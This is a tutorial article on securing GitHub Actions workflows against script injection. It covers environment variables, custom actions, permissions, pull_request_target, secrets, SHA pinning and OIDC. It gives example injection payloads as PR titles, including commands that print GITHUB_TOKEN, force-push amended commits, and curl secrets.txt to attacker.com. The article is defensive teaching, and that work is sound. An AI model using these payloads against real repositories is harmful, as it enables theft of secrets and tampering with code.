$ cat github-actions/part-07.md
Workflow Security in GitHub Actions: Protecting Against Injection Attacks

After covering all the features of GitHub Actions, there’s one critical topic left: security. In this final article, I’ll show you how to protect your workflows from injection attacks, especially when dealing with untrusted inputs from pull requests.
The Problem: Script Injection
When your workflow processes user input – like PR titles, commit messages, or issue comments – you’re dealing with untrusted data. If you’re not careful, attackers can inject malicious code into your workflow.
Let me show you the vulnerable pattern I discovered, then how to fix it.
The Unsafe Pattern
Here’s a workflow that looks innocent but is actually dangerous:
File: workflows/20-workflow-security.yaml
name: 20 - Workflow Security
on:
pull_request:
jobs:
unsafe-pr:
runs-on: ubuntu-latest
steps:
- name: Checkout code
uses: actions/checkout@v4
- name: Check PR title
run: |
title=${{ github.event.pull_request.title }}
if [[ $title =~ ^feat ]]; then
echo "PR is a feature"
exit 0
else
echo "PR is not a feature"
exit 1
fi
Why This Is Dangerous
Look at this line:
title=${{ github.event.pull_request.title }}
The PR title is inserted directly into the bash script. An attacker can create a PR with this title:
feat: add feature"; echo "HACKED"; echo "
When the workflow runs, it becomes:
title=feat: add feature"; echo "HACKED"; echo "
The semicolons break out of the string and execute arbitrary commands!
Real Attack Example
I tested this in my home lab. With a malicious PR title, an attacker could:
Steal secrets:
"; echo $GITHUB_TOKEN | base64; echo "
Modify code:
"; git config user.name "attacker"; git commit --amend --no-edit; git push --force; echo "
Exfiltrate data:
"; curl -X POST https://attacker.com -d @secrets.txt; echo "
This is called script injection or command injection, and it’s a serious vulnerability.
The Safe Pattern: Using Environment Variables
The fix is simple – use environment variables instead of direct substitution:
jobs:
safer-pr:
runs-on: ubuntu-latest
steps:
- name: Checkout code
uses: actions/checkout@v4
- name: Check PR title
env:
TITLE: ${{ github.event.pull_request.title }}
run: |
if [[ $TITLE =~ ^feat ]]; then
echo "PR is a feature"
exit 0
else
echo "PR is not a feature"
exit 1
fi
Why This Is Safe
The key difference:
env:
TITLE: ${{ github.event.pull_request.title }}
run: |
if [[ $TITLE =~ ^feat ]]; then
Now the PR title is passed as an environment variable $TITLE, not inserted into the script.
When an attacker tries the same malicious title:
feat: add feature"; echo "HACKED"; echo "
It becomes:
TITLE='feat: add feature"; echo "HACKED"; echo "'
The entire string, including quotes and semicolons, is treated as literal text, not executable code.
The Technical Reason
Direct substitution:
- GitHub replaces ${{ }} during workflow parsing
- The result is inserted directly into the script
- Bash interprets special characters (quotes, semicolons, backticks)
Environment variables:
- GitHub sets the environment variable before running the script
- Bash reads the variable value as a string
- Special characters are escaped automatically
The Safest Pattern: Using Custom Actions
For even better protection, I created a JavaScript action that handles untrusted input safely:
File: actions/security-safe-input/action.yaml
name: Safe Title Check
description: Safely checks the title of a PR.
inputs:
pr-title:
description: The PR title
required: true
runs:
using: node20
main: index.js
File: actions/security-safe-input/index.js
const core = require('@actions/core');
async function run() {
try {
const prTitle = core.getInput('pr-title');
if (prTitle.startsWith('feat')) {
core.info('PR is a feature');
} else {
core.setFailed('PR is not a feature');
}
} catch (e) {
core.setFailed(e.message);
}
}
run();
Using it in the workflow:
jobs:
js-safer-pr:
runs-on: ubuntu-latest
steps:
- name: Checkout code
uses: actions/checkout@v4
- name: Check PR title
uses: ./.github/actions/security-safe-input
with:
pr-title: ${{ github.event.pull_request.title }}
Why JavaScript Actions Are Safer
The @actions/core toolkit automatically:
- Escapes special characters in inputs
- Prevents command injection
- Validates input types
- Masks secrets in logs
When you use core.getInput(‘pr-title’), the library handles all the dangerous edge cases for you.
Understanding the Attack Surface
Not all GitHub context variables are dangerous. Here’s what I learned:
Untrusted Inputs (NEVER use directly in bash)
These come from users and can contain malicious code:
Pull Request data:
- ${{ github.event.pull_request.title }}
- ${{ github.event.pull_request.body }}
- ${{ github.event.pull_request.head.ref }} (branch name)
- ${{ github.event.pull_request.head.label }}
- ${{ github.event.pull_request.head.repo.full_name }}
Issue data:
- ${{ github.event.issue.title }}
- ${{ github.event.issue.body }}
Comment data:
- ${{ github.event.comment.body }}
Commit data:
- ${{ github.event.head_commit.message }}
- ${{ github.event.commits[0].message }}
Discussion data:
- ${{ github.event.discussion.title }}
- ${{ github.event.discussion.body }}
Trusted Inputs (Safe to use directly)
These come from GitHub and cannot be manipulated:
- ${{ github.sha }} – Commit SHA
- ${{ github.ref }} – Branch reference
- ${{ github.repository }} – Repository name
- ${{ github.actor }} – Username (validated by GitHub)
- ${{ github.run_id }} – Workflow run ID
- ${{ github.run_number }} – Workflow run number
- ${{ github.workflow }} – Workflow name (from your file)
- ${{ github.event_name }} – Event type
These are safe because GitHub generates them, not users.
Real-World Security Patterns
Pattern 1: Validate Before Use
Even with environment variables, validate the input format:
steps:
- name: Validate PR title
env:
PR_TITLE: ${{ github.event.pull_request.title }}
run: |
if [[ ! $PR_TITLE =~ ^(feat|fix|docs|chore|refactor): ]]; then
echo "Invalid PR title format"
exit 1
fi
echo "PR title is valid"
This ensures the title matches your expected format before using it.
Pattern 2: Use Actions for Complex Logic
For anything more than simple validation, use JavaScript actions:
const core = require('@actions/core');
async function run() {
try {
const prTitle = core.getInput('pr-title');
// Validate format
const validPrefixes = ['feat', 'fix', 'docs', 'chore', 'refactor'];
const hasValidPrefix = validPrefixes.some(prefix =>
prTitle.startsWith(`${prefix}:`)
);
if (!hasValidPrefix) {
core.setFailed(
`PR title must start with one of: ${validPrefixes.join(', ')}`
);
return;
}
// Extract ticket number if present
const ticketMatch = prTitle.match(/\[([A-Z]+-\d+)\]/);
if (ticketMatch) {
core.setOutput('ticket-number', ticketMatch[1]);
}
core.info('PR title is valid');
} catch (e) {
core.setFailed(e.message);
}
}
run();
Pattern 3: Limit Permissions
Use the permissions key to restrict what workflows can do:
name: PR Validation
on:
pull_request:
permissions:
contents: read
pull-requests: read
jobs:
validate:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Validate PR
env:
PR_TITLE: ${{ github.event.pull_request.title }}
run: |
echo "Validating: $PR_TITLE"
With contents: read, even if an attacker injects code, they can’t push changes or modify releases.
Pattern 4: Use pull_request_target Carefully
There’s a special trigger called pull_request_target that runs in the context of the base branch, not the PR branch. This is dangerous!
UNSAFE:
on:
pull_request_target: # Dangerous!
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4 # Checks out PR code
- run: npm install # Runs attacker's package.json!
- run: npm run build
An attacker can modify package.json to execute malicious code during npm install.
SAFE:
on:
pull_request_target:
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.base_ref }} # Checkout base branch, not PR!
- name: Get PR title safely
env:
PR_TITLE: ${{ github.event.pull_request.title }}
run: |
echo "PR Title: $PR_TITLE"
Only check out the base branch code, never the PR code when using pull_request_target.
Secrets Management
Secrets need special care in workflows.
Never Log Secrets
# UNSAFE!
- name: Deploy
run: |
echo "API Key: ${{ secrets.API_KEY }}"
curl -H "Authorization: ${{ secrets.API_KEY }}" ...
GitHub automatically masks secrets in logs, but explicit echo commands can expose them.
Safe pattern:
- name: Deploy
env:
API_KEY: ${{ secrets.API_KEY }}
run: |
# Use $API_KEY without echoing it
curl -H "Authorization: $API_KEY" https://api.example.com
Mask Custom Secrets in JavaScript Actions
If you generate secrets dynamically, mask them:
const core = require('@actions/core');
async function run() {
const apiKey = generateApiKey();
// Mask it before using
core.setSecret(apiKey);
// Now safe to use
core.setOutput('api-key', apiKey);
}
Use Environment-Specific Secrets
Don’t use the same secrets for staging and production:
jobs:
deploy-staging:
runs-on: ubuntu-latest
environment: staging
steps:
- name: Deploy
env:
API_KEY: ${{ secrets.API_KEY }} # staging API key
run: ./deploy.sh
deploy-prod:
runs-on: ubuntu-latest
environment: production
steps:
- name: Deploy
env:
API_KEY: ${{ secrets.API_KEY }} # production API key
run: ./deploy.sh
Each environment has its own secrets in GitHub Settings.
Code Scanning and Dependency Updates
Beyond injection attacks, secure your dependencies too.
Enable Dependabot
Create .github/dependabot.yml:
version: 2
updates:
- package-ecosystem: "npm"
directory: "/"
schedule:
interval: "weekly"
open-pull-requests-limit: 10
- package-ecosystem: "github-actions"
directory: "/"
schedule:
interval: "weekly"
This automatically updates:
- npm packages
- GitHub Actions versions
Pin Action Versions
UNSAFE:
- uses: actions/checkout@v4
SAFE:
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
Pin to specific commit SHA to prevent supply chain attacks. If the action is compromised, your workflow still uses the safe version.
Use tools like pin-github-action to automate this.
OIDC and Cloud Provider Authentication
For cloud deployments, use OIDC instead of long-lived credentials.
The Old Way (Unsafe)
- name: Configure AWS
env:
AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }}
AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
run: |
aws s3 cp file.txt s3://bucket/
Problems:
- Long-lived credentials stored in GitHub
- If compromised, attacker has permanent access
- No automatic rotation
The New Way (OIDC)
permissions:
id-token: write
contents: read
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- name: Configure AWS Credentials
uses: aws-actions/configure-aws-credentials@v4
with:
role-to-assume: arn:aws:iam::123456789012:role/GitHubActionsRole
aws-region: us-east-1
- name: Deploy to S3
run: |
aws s3 cp file.txt s3://bucket/
Benefits:
- No credentials stored in GitHub
- Temporary credentials (valid for ~1 hour)
- Automatic rotation
- Can restrict by repository, branch, environment
What I Learned About Security
- Default to environment variables: Always use env: for untrusted inputs. It’s free protection.
- JavaScript actions are safer than bash: The @actions/core library handles edge cases I didn’t even think of.
- Validate everything: Even with environment variables, validate format and content.
- Least privilege principle: Set permissions: to the minimum needed. Start with read and add write only when necessary.
- Never trust PR code with pull_request_target: This trigger is for posting comments, not running PR code.
- Pin actions to SHA: Using @v4 is convenient but risky. Pin to commit SHA for production workflows.
- Audit your workflows: Use GitHub’s code scanning to find security issues automatically.
- Test malicious inputs: In my home lab, I test with crafted inputs like:
- OIDC for cloud access: Never store long-lived cloud credentials in GitHub secrets if you can use OIDC.
- Read the security advisories: GitHub publishes security advisories for popular actions. Subscribe to them.
Security Checklist for Every Workflow
Before deploying a workflow to production, I check:
- [ ] All user inputs use environment variables, not direct substitution
- [ ] permissions: is set to minimum required
- [ ] Actions are pinned to commit SHA, not tags
- [ ] Secrets are never echoed or logged
- [ ] pull_request_target (if used) only checks out base branch
- [ ] Input validation happens before processing
- [ ] Cloud credentials use OIDC, not static keys
- [ ] Dependabot is enabled for automatic updates
- [ ] Code scanning is enabled
Real-World Example: Secure PR Validation
Here’s how I combine everything for a production-grade PR validation workflow:
name: Secure PR Validation
on:
pull_request:
types: [opened, synchronize, reopened]
permissions:
contents: read
pull-requests: write
statuses: write
jobs:
validate-title:
runs-on: ubuntu-latest
steps:
- name: Checkout code
uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
- name: Validate PR title
uses: ./.github/actions/security-safe-input
with:
pr-title: ${{ github.event.pull_request.title }}
- name: Comment on PR
if: failure()
env:
PR_NUMBER: ${{ github.event.pull_request.number }}
GH_TOKEN: ${{ github.token }}
run: |
gh pr comment $PR_NUMBER --body "PR title must follow format: type: description"
lint-and-test:
runs-on: ubuntu-latest
steps:
- name: Checkout code
uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
- name: Setup Node
uses: actions/setup-node@60edb5dd545a775178f52524783378180af0d1f8 # v4.0.2
with:
node-version: '20.x'
- name: Install dependencies
run: npm ci
- name: Run tests
run: npm test
This workflow:
- Validates PR title safely with custom action
- Uses minimal permissions
- Pins actions to commit SHA
- Never executes code from the PR
- Uses environment variables for GitHub CLI
Conclusion
Security in GitHub Actions isn’t optional. One vulnerable workflow can expose your entire repository, secrets, and infrastructure.
The good news: most attacks are preventable with simple patterns:
- Use environment variables for untrusted inputs
- Validate everything
- Minimize permissions
- Pin action versions
- Use OIDC for cloud access